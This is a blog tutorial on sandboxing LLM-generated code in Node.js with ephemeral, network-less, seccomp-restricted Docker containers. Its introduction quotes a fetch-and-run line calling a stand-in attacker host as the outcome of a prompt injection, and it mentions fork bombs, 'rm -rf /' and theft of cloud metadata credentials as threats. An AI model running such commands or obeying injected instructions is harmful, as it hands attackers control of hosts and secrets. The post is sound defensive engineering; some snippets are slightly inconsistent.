Skip to main content
Back to Blog
DockerNode.jsAI AgentsSecurityDevOpsRCE Prevention

How to Build a Secure Docker-Isolated Code Execution Sandbox for AI Agents in Node.js

Learn how to safely run untrusted LLM-generated code using Node.js and the Docker Engine API. A practical guide to ephemeral containers, cgroup limits, network isolation, and seccomp profiles for AI agent sandboxes.

September 22, 202620 min readNiraj Kumar

Introduction

Somewhere in the last eighteen months, "give the AI agent a code execution tool" went from a research demo to a standard checkbox in almost every serious agent framework. It makes sense — an LLM that can write and run Python or JavaScript to check its own math, parse a CSV, or debug a stack trace is dramatically more useful than one that can only talk about doing those things.

It's also, if you build it carelessly, one of the fastest ways to hand an attacker a shell on your production server.

I've seen this mistake shipped by teams who otherwise write careful, well-reviewed code. The pattern is almost always the same: someone wires up a tool called execute_code, the implementation is a child_process.exec() call, it works great in the demo, and it ships. Three weeks later someone crafts a prompt injection that gets the model to run curl attacker.com/payload.sh | bash, and now you're writing an incident report instead of shipping features.

This isn't a hypothetical. Prompt injection is now a well-documented, actively exploited class of vulnerability against LLM applications, and any tool that turns model output into shell commands is a direct RCE pipeline waiting for the right (or wrong) input. The fix isn't "trust the model more" or "add a regex filter for dangerous words" — attackers will always find an encoding, a synonym, or an indirect injection vector around a blocklist. The fix is architectural: assume the code you're about to run is hostile, and build an execution environment that survives that assumption.

This guide walks through exactly how to do that using Node.js and the Docker Engine API — spinning up disposable, network-isolated, resource-capped containers for every single execution request, with a custom seccomp profile as a last line of defense against kernel-level attacks.

By the end, you'll have a working, production-grade sandbox module you can drop straight into an agent's tool-calling loop.

Why "Just Use child_process" Is a Trap

It's worth being explicit about what goes wrong when teams skip isolation, because the failure modes aren't limited to "the model ran rm -rf /."

  • Full filesystem access. Untrusted code running as your Node process's user can read environment variables, .env files, SSH keys, and any credentials sitting on disk.
  • Network pivoting. A process on your host (or in an under-isolated container) can reach your internal VPC — databases, internal admin panels, and cloud metadata services like 169.254.169.254, which on AWS/GCP/Azure can leak IAM credentials.
  • Resource exhaustion. A single while(true){} or a fork bomb can pin CPU at 100% or exhaust memory, taking down every other tenant or service on that host.
  • State leakage between runs. If you reuse a process or container across multiple agent calls, one user's code can read artifacts left behind by another user's execution.
  • Privilege escalation. Without dropped Linux capabilities and a restricted syscall table, a sufficiently clever payload can attempt to break out of even a "sandboxed" environment.

None of these require a sophisticated attacker. Some of them happen by accident, from an LLM confidently generating code that just happens to be destructive because it "seemed like a reasonable way to test disk I/O."

The rest of this article treats every one of these failure modes as something to design against, not something to patch later.

The Sandbox Architecture at a Glance

Before writing code, it helps to have the mental model straight. The architecture we're building looks like this:

  1. Agent orchestrator (Node.js) — your existing agent loop, which decides the model wants to run code.
  2. Sandbox manager (Node.js + dockerode) — a service that talks to the Docker Engine API, never shells out to the docker CLI directly.
  3. Docker daemon — running on a host (or a dedicated "sandbox node") with the Engine API exposed over a Unix socket or a TLS-secured TCP endpoint.
  4. Ephemeral container — created fresh per execution, from a minimal hardened base image, with:
    • Hard CPU and memory ceilings (cgroups)
    • No network interface (NetworkMode: 'none')
    • A custom seccomp profile restricting syscalls
    • All Linux capabilities dropped
    • A read-only root filesystem with a small, size-capped tmpfs for scratch space
    • A wall-clock execution timeout, enforced from both sides
  5. Guaranteed teardown — the container is destroyed (AutoRemove: true, plus a manual remove() as a safety net) whether the code succeeds, fails, or hangs.

The core principle: treat every execution request as if it will be actively hostile, because eventually one will be.

Prerequisites

You'll need:

  • Node.js 20+ (LTS as of this writing)
  • Docker Engine 25+ installed on the host that will run the sandboxes
  • The dockerode npm package, a well-maintained Node.js client for the Docker Engine API
  • A dedicated, minimal base image for running untrusted code (we'll build one below)

Install the client library:

npm install dockerode

If you're running this in a containerized deployment yourself (Node.js app inside a container), you'll need to either mount the host's Docker socket (/var/run/docker.sock) into your app container, or — better for production — run a separate, isolated Docker daemon dedicated to sandboxing, reachable over a TLS-authenticated TCP socket. Mounting the host's primary Docker socket into an app container is a well-known privilege escalation vector in its own right, since anything with access to that socket can effectively control the whole host. Treat "access to the Docker socket" as equivalent to root.

Step 1: Building a Minimal, Hardened Base Image

Don't run untrusted code inside a fat node:20 image with a shell, package managers, and build tools sitting around. Build a stripped-down image specifically for execution.

# sandbox.Dockerfile
FROM node:20-alpine AS base

# Create a non-root user to run untrusted code
RUN addgroup -S sandbox && adduser -S sandbox -G sandbox

# Strip out anything an attacker could use to pivot or persist
RUN apk del --purge apk-tools || true

WORKDIR /workspace

# The container should never keep state between runs, so we don't
# COPY any application source in here beyond a minimal entrypoint script
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

USER sandbox

ENTRYPOINT ["/entrypoint.sh"]

A few deliberate choices here worth calling out:

  • Alpine base keeps the image small, which reduces both attack surface and cold-start time — important when you're spinning up a fresh container per request.
  • Non-root user (sandbox) means that even if code escapes the Node process, it isn't running as root inside the container, which matters if there's ever a container-to-host escape bug.
  • No package manager left behind (apk del apk-tools) removes an easy way for injected code to pull in additional tooling.
  • No source code baked in. We'll pass the code to execute in at runtime via stdin or a bind-mounted read-only file, not bake application logic into the sandbox image itself.

Build it once:

docker build -f sandbox.Dockerfile -t agent-sandbox:latest .

Step 2: Connecting to the Docker Engine API from Node.js

dockerode wraps the Docker Engine's REST API, so you get typed, promise-based access without shelling out to docker run (which would introduce its own injection risks if you ever interpolate untrusted strings into a CLI command).

// docker-client.js
const Docker = require("dockerode");

// Prefer a dedicated sandbox daemon over the host's primary socket.
// For local/dev use, the default socket works; in production, point
// this at a TLS-secured remote daemon dedicated to sandboxing.
const docker = new Docker({
  socketPath: process.env.DOCKER_SOCKET || "/var/run/docker.sock",
});

module.exports = docker;

Never build this connection string from user input, and never expose this module to anything outside your own trusted backend code. The Docker Engine API is effectively root access to whatever host it's managing.

Step 3: Creating Ephemeral, Resource-Capped Containers

This is the heart of the sandbox. Every field in the container configuration below exists to close off one specific attack or failure mode.

// sandbox-manager.js
const docker = require("./docker-client");
const { PassThrough } = require("stream");

const SANDBOX_IMAGE = "agent-sandbox:latest";
const EXECUTION_TIMEOUT_MS = 10_000;
const MEMORY_LIMIT_BYTES = 256 * 1024 * 1024; // 256 MB
const CPU_QUOTA_MICROSECONDS = 50_000; // 0.5 CPU core
const CPU_PERIOD_MICROSECONDS = 100_000;

async function runUntrustedCode(code, language = "javascript") {
  const container = await docker.createContainer({
    Image: SANDBOX_IMAGE,
    Cmd: buildCommand(language, code),
    AttachStdout: true,
    AttachStderr: true,
    Tty: false,
    OpenStdin: false,

    HostConfig: {
      // --- Resource ceilings (Linux cgroups) ---
      Memory: MEMORY_LIMIT_BYTES,
      MemorySwap: MEMORY_LIMIT_BYTES, // disable swap entirely
      CpuPeriod: CPU_PERIOD_MICROSECONDS,
      CpuQuota: CPU_QUOTA_MICROSECONDS,
      PidsLimit: 64, // block fork bombs

      // --- Network isolation ---
      NetworkMode: "none",

      // --- Filesystem hardening ---
      ReadonlyRootfs: true,
      Tmpfs: {
        "/tmp": "rw,noexec,nosuid,size=32m",
      },

      // --- Privilege restriction ---
      CapDrop: ["ALL"],
      SecurityOpt: [
        "no-new-privileges",
        `seccomp=${JSON.stringify(require("./seccomp-profile.json"))}`,
      ],

      // --- Lifecycle ---
      AutoRemove: true,
    },
  });

  return executeWithTimeout(container);
}

function buildCommand(language, code) {
  if (language === "javascript") {
    return ["node", "-e", code];
  }
  if (language === "python") {
    return ["python3", "-c", code];
  }
  throw new Error(`Unsupported language: ${language}`);
}

module.exports = { runUntrustedCode };

Walking through the non-obvious parts:

  • Memory + MemorySwap set to the same value disables swap for the container entirely. Without this, a memory-capped container can still thrash into swap and degrade the whole host.
  • CpuQuota / CpuPeriod together express "this container gets at most 0.5 of a CPU core," enforced by the kernel's CFS bandwidth controller — not a soft suggestion, a hard scheduling limit.
  • PidsLimit: 64 stops fork-bomb style attacks (while true; do (&); done) from spawning enough processes to exhaust the host's PID table.
  • ReadonlyRootfs: true + a size-capped tmpfs means the only writable location is a 32MB in-memory filesystem that vanishes with the container. noexec on that mount prevents the classic "write a script to /tmp, then execute it" pattern.
  • CapDrop: ['ALL'] removes every Linux capability, including things like CAP_NET_RAW (raw sockets/packet crafting) and CAP_SYS_PTRACE (process tracing/debugging other processes) that a default container would otherwise retain.
  • AutoRemove: true ensures Docker deletes the container the instant it exits, so you're never accumulating stopped containers full of whatever the last execution wrote to disk.

Step 4: Locking Down the Network

NetworkMode: 'none' deserves its own callout because it's the single most important line in this whole configuration, and it's the one most tutorials skip.

Without it, a container on a bridge network can:

  • Scan your internal VPC (10.x.x.x, 172.16.x.x ranges) for open ports and services
  • Reach your cloud provider's instance metadata endpoint at 169.254.169.254, which on misconfigured IAM roles can hand over temporary cloud credentials
  • Exfiltrate any data it reads from the sandbox filesystem to an external server
  • Reach internal APIs, databases, or admin panels that trust traffic originating from inside your VPC

NetworkMode: 'none' attaches only a loopback interface. There is no route out, and no route in. For the overwhelming majority of "run this snippet and check the output" use cases — data validation, calculations, unit test execution, format conversion — the code has no legitimate reason to make a network call anyway.

If your agent genuinely needs some network access (say, hitting one specific internal API), don't fall back to the default bridge network. Instead, create a dedicated, locked-down Docker network with egress rules enforced at the host firewall level (iptables/nftables), and only ever attach sandboxes to that network, never to your main application network.

docker network create \
  --internal \
  --subnet 172.30.0.0/24 \
  agent-sandbox-net

The --internal flag prevents Docker from adding a default route to the outside world at all — containers on this network can only talk to each other, which is still safer than open internet access, though you'll want additional egress controls for anything approaching production-grade isolation.

Step 5: Applying a Custom Seccomp Profile

Dropping capabilities restricts what a process is allowed to do as a privileged operation. Seccomp restricts which raw syscalls the kernel will even let the process make at all — a much lower-level and more thorough control.

Docker ships with a solid default seccomp profile that already blocks around 44 dangerous syscalls, including mount, reboot, ptrace, and kernel-keyring operations. For an AI code execution sandbox, it's worth going further and building a custom, explicit-allowlist profile trimmed to exactly what node -e or python3 -c actually need.

Here's a trimmed example that starts from a default-deny stance:

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_AARCH64"],
  "syscalls": [
    {
      "names": [
        "read", "write", "open", "openat", "close", "stat", "fstat",
        "lstat", "poll", "lseek", "mmap", "mprotect", "munmap", "brk",
        "rt_sigaction", "rt_sigprocmask", "rt_sigreturn", "ioctl",
        "access", "pipe", "select", "sched_yield", "mremap", "madvise",
        "dup", "dup2", "nanosleep", "getpid", "socket", "clone",
        "execve", "exit", "wait4", "kill", "fcntl", "getcwd",
        "readlink", "getuid", "getgid", "geteuid", "getegid",
        "arch_prctl", "gettid", "futex", "set_tid_address",
        "exit_group", "epoll_create1", "epoll_ctl", "epoll_wait",
        "getrandom", "openat2", "newfstatat"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

The key design decision is "defaultAction": "SCMP_ACT_ERRNO" — every syscall not explicitly listed returns an error instead of executing. This is the inverse of a blocklist approach, and it's dramatically safer: new, unanticipated dangerous syscalls are blocked by default rather than silently allowed.

Note that this list intentionally omits things like ptrace (process inspection/debugging — a common container-escape primitive), mount/umount2 (filesystem manipulation), reboot, swapon/swapoff, and raw socket creation syscalls. If your language runtime throws EPERM errors during testing, that's the profile working — trace which syscall was blocked with strace in a throwaway debug container, confirm it's actually benign, and add it explicitly rather than loosening the default action.

Save this as seccomp-profile.json and load it as shown in Step 3.

Step 6: Enforcing Timeouts and Guaranteed Cleanup

Resource limits stop a container from consuming unbounded CPU or memory, but they don't stop it from running forever within those limits — an infinite loop that respects its 0.5-CPU quota will simply sit there, quietly burning wall-clock time and holding a container slot. You need an explicit timeout, enforced independently of whatever the code inside is doing.

// sandbox-manager.js (continued)

async function executeWithTimeout(container) {
  let timedOut = false;

  const timeoutHandle = setTimeout(async () => {
    timedOut = true;
    try {
      await container.kill({ signal: "SIGKILL" });
    } catch (err) {
      // Container may have already exited naturally — safe to ignore
    }
  }, EXECUTION_TIMEOUT_MS);

  try {
    const stream = await container.attach({
      stream: true,
      stdout: true,
      stderr: true,
    });

    const output = await collectStreamOutput(container, stream);
    const { StatusCode } = await container.wait();

    clearTimeout(timeoutHandle);

    return {
      success: StatusCode === 0 && !timedOut,
      timedOut,
      exitCode: StatusCode,
      output,
    };
  } catch (err) {
    clearTimeout(timeoutHandle);
    throw err;
  } finally {
    // Defense in depth: AutoRemove should handle this, but a stuck
    // daemon or crashed container shouldn't leave orphaned resources.
    try {
      await container.remove({ force: true });
    } catch (_) {
      /* already removed — expected in the happy path */
    }
  }
}

function collectStreamOutput(container, stream) {
  return new Promise((resolve, reject) => {
    let output = "";
    container.modem.demuxStream(
      stream,
      { write: (chunk) => (output += chunk.toString()) },
      { write: (chunk) => (output += chunk.toString()) }
    );
    stream.on("end", () => resolve(output));
    stream.on("error", reject);
  });
}

async function startAndRun(code, language) {
  const container = await docker.createContainer({
    /* ...config from Step 3... */
  });
  await container.start();
  return executeWithTimeout(container);
}

module.exports = { runUntrustedCode: startAndRun };

Two details matter here:

  1. The finally block calls container.remove({ force: true }) even though AutoRemove: true is set. This isn't redundant paranoia — if the Docker daemon restarts mid-execution, or the container gets into a weird state, AutoRemove can silently fail to fire. Belt and suspenders.
  2. SIGKILL, not SIGTERM, on timeout. Untrusted code has no obligation to handle SIGTERM gracefully, and you don't want a hung process holding resources past your timeout window while you wait politely for it to exit.

Real-World Example: Wiring This Into an AI Agent Tool

Here's how this slots into a typical agent tool-calling loop, using a generic tool-definition shape you'd adapt to whichever agent framework or LLM API you're using:

// agent-tools.js
const { runUntrustedCode } = require("./sandbox-manager");

const codeExecutionTool = {
  name: "execute_code",
  description:
    "Executes a short JavaScript or Python snippet in an isolated sandbox and returns stdout/stderr. Has no network access and a 10-second timeout.",
  parameters: {
    type: "object",
    properties: {
      language: { type: "string", enum: ["javascript", "python"] },
      code: { type: "string" },
    },
    required: ["language", "code"],
  },

  async handler({ language, code }) {
    try {
      const result = await runUntrustedCode(code, language);

      if (result.timedOut) {
        return { error: "Execution timed out after 10 seconds." };
      }

      return {
        exitCode: result.exitCode,
        output: result.output.slice(0, 8000), // cap what flows back to the model
      };
    } catch (err) {
      // Never leak internal error details (paths, stack traces) back to the model
      return { error: "Execution failed due to an internal sandbox error." };
    }
  },
};

module.exports = { codeExecutionTool };

Notice the two guardrails at the tool boundary itself: output is truncated before being handed back to the model (a runaway print loop shouldn't blow your context window), and internal error details are never surfaced verbatim — you don't want a stack trace revealing your container image name, internal paths, or Docker daemon version to a model that might be under adversarial control via prompt injection.

🚀 Pro Tips

  • Pre-pull and pre-warm your sandbox image. Cold docker create calls against an image that isn't cached locally add real latency to every agent turn. Keep agent-sandbox:latest pulled on every host that runs the sandbox manager, and consider a small pool of pre-created (but not started) containers you can recycle.
  • Log every execution's metadata, never the raw code by default. Capture exit codes, duration, memory high-water mark (via container.stats()), and a hash of the input for correlation — but treat the actual submitted code as sensitive, since it may contain data the user pasted in.
  • Rate-limit per user/session, not just per container. Resource caps stop one container from taking down the host, but they don't stop a malicious or buggy agent loop from spawning hundreds of containers per minute. Add a token-bucket limiter in front of runUntrustedCode.
  • Run the sandbox manager itself on a separate host or node pool from your main application. If there's ever a container escape, you want the blast radius to be "a dedicated sandbox node," not "the server holding your database credentials."
  • Version and hash your seccomp profile and base image together. When you tighten the profile, some previously-working (benign) code may start failing with EPERM. Treat profile changes like schema migrations — test against a corpus of known-good agent-generated code before rolling out.
  • Watch for zip bombs and decompression attacks if your sandbox ever handles file uploads or lets code write and read its own files — cap the tmpfs size (already shown above) and consider scanning any files the container produces before your app reads them back.

Best Practices Checklist

  • ✅ One container per execution request — never reuse or pool running containers across different code payloads
  • NetworkMode: 'none' by default; explicit, firewalled internal networks only when genuinely required
  • ✅ Hard memory and CPU ceilings via HostConfig.Memory and CpuQuota/CpuPeriod
  • PidsLimit set to block fork bombs
  • ReadonlyRootfs: true with a small, noexec tmpfs for scratch space
  • CapDrop: ['ALL'] plus no-new-privileges
  • ✅ A custom, default-deny seccomp profile, not just Docker's defaults
  • ✅ An independent, enforced execution timeout with SIGKILL as the final step
  • AutoRemove: true plus a manual remove() safety net in a finally block
  • ✅ Output size capped before it's returned to the model or the end user
  • ✅ Sandbox execution isolated on separate infrastructure from your core application and secrets

Common Mistakes

  • Mounting the host's Docker socket into your main application container. This effectively grants root on the host to anything that compromises your app — including, indirectly, the AI agent's own tool-calling surface.
  • Forgetting MemorySwap. Setting only Memory without also constraining swap lets a container thrash into swap space and degrade the whole host, even though it's "respecting" its memory limit.
  • Trusting Docker's default seccomp profile as the finish line. It's a good baseline, not a complete solution — build an explicit allowlist for your specific runtime.
  • Reusing containers across multiple executions "for performance." This reintroduces state leakage between runs — one execution's files, environment mutations, or even crashed background processes can bleed into the next.
  • Interpolating code into a shell command string (exec(\node -e "$"`)) instead of passing it as a proper array argument to Cmd`. String interpolation reopens a classic shell-injection hole even inside the sandbox.
  • Not capping output size. A runaway loop that prints gigabytes of text can exhaust memory in your orchestrator process or blow out the LLM's context window on the next turn.
  • Assuming "it's in a container" means "it's secure." Containers share the host kernel. Without cgroups, seccomp, dropped capabilities, and network isolation configured explicitly, a "sandboxed" container is barely more isolated than a regular process.
  • No timeout, or a timeout that only cancels your Node-side promise without actually killing the container. The container keeps running and consuming resources even after your code has "moved on."

When Docker Isolation Isn't Enough

It's worth being honest about the limits of this approach. Docker containers share the host's kernel, which means a sufficiently severe kernel vulnerability can, in principle, allow a container escape regardless of how carefully you've configured cgroups, capabilities, and seccomp. For most internal tools and moderate-risk agent products, a well-hardened Docker setup like the one above is a proportionate and effective control.

If you're running a multi-tenant, public-facing product where a container escape would be catastrophic — think: a hosted "AI code interpreter" product serving thousands of untrusted users — it's worth layering in a stronger isolation boundary:

  • gVisor intercepts syscalls in userspace via a sandboxed kernel (runsc), acting as a drop-in Docker runtime replacement (--runtime=runsc) that dramatically shrinks the kernel attack surface without requiring a full VM per execution.
  • Firecracker microVMs, used in production by AWS Lambda and Fargate, provide full hardware-virtualized isolation with startup times in the tens of milliseconds — the strongest isolation boundary available short of dedicated hardware, at the cost of more operational complexity.

Both integrate with the same Docker/OCI-based workflow described in this guide; you're primarily swapping the container runtime underneath, not rewriting your sandbox manager from scratch.

Conclusion

Giving an AI agent the ability to execute code is one of the highest-leverage capabilities you can build — and one of the highest-risk ones if you treat it as "just another function call." The moment your agent can turn model output into executed code, you've built a system where a sufficiently clever prompt is functionally equivalent to a request from an anonymous, untrusted user hitting your infrastructure directly.

The good news is that the mitigation isn't exotic. Docker's Engine API gives you everything you need — ephemeral containers, cgroup-enforced resource ceilings, full network isolation, dropped capabilities, and custom seccomp profiles — to build a sandbox that treats every execution as hostile by default and survives that assumption. Combine that with an independently enforced timeout and guaranteed cleanup, and you've closed off the overwhelming majority of realistic attack paths, well before you need to reach for heavier tools like gVisor or Firecracker.

Build the sandbox once, build it correctly, and every future agent tool that needs to run code inherits that safety for free. That's a much better trade than debugging an incident report six months from now.

References

Frequently asked questions

Is Docker alone secure enough to run untrusted AI-generated code?

Docker provides namespace and cgroup isolation, which stops the vast majority of accidental damage and casual escape attempts, but it shares the host kernel. For low-stakes internal tools it's often sufficient when hardened correctly. For public-facing or multi-tenant products, pair Docker with gVisor (runsc) or Firecracker microVMs for a stronger security boundary.

Why not just use vm2 or Node's built-in vm module instead of Docker?

vm2 and Node's vm module isolate JavaScript execution context, not the operating system. They've had multiple documented sandbox-escape CVEs and don't stop filesystem access, network calls, or fork bombs. Docker isolates at the OS/kernel level, which is a fundamentally stronger guarantee for arbitrary, LLM-generated code.

How do I stop a container from being used to scan my internal VPC?

Set NetworkMode: 'none' when creating the container. This removes all network interfaces except loopback, so the sandboxed process has no route to the internet, your VPC, or your cloud metadata endpoint (169.254.169.254).

What's a reasonable timeout for AI agent code execution?

Most teams land between 5 and 30 seconds for interactive agent tool calls, enforced with both a Node.js-side timer and Docker's own --stop-timeout, plus a hard kill as a last resort. Longer batch jobs should run in a separate queue-based worker pattern, not inline with the agent's response loop.

Can a container still exhaust my host's disk space?

Yes, unless you cap it. Use --storage-opt size= on supported storage drivers, or simpler: mount a size-limited tmpfs as the writable layer and set ReadonlyRootfs: true so the container can only write within that bounded tmpfs.

Discussion

All Articles
DockerNode.jsAI AgentsSecurityDevOpsRCE Prevention

Written by

Niraj Kumar

Software Developer — building scalable systems for businesses.

Building this for real? DevOps & Cloud Engineering AWS/Azure architecture, Docker & Kubernetes, CI/CD pipelines, and production observability.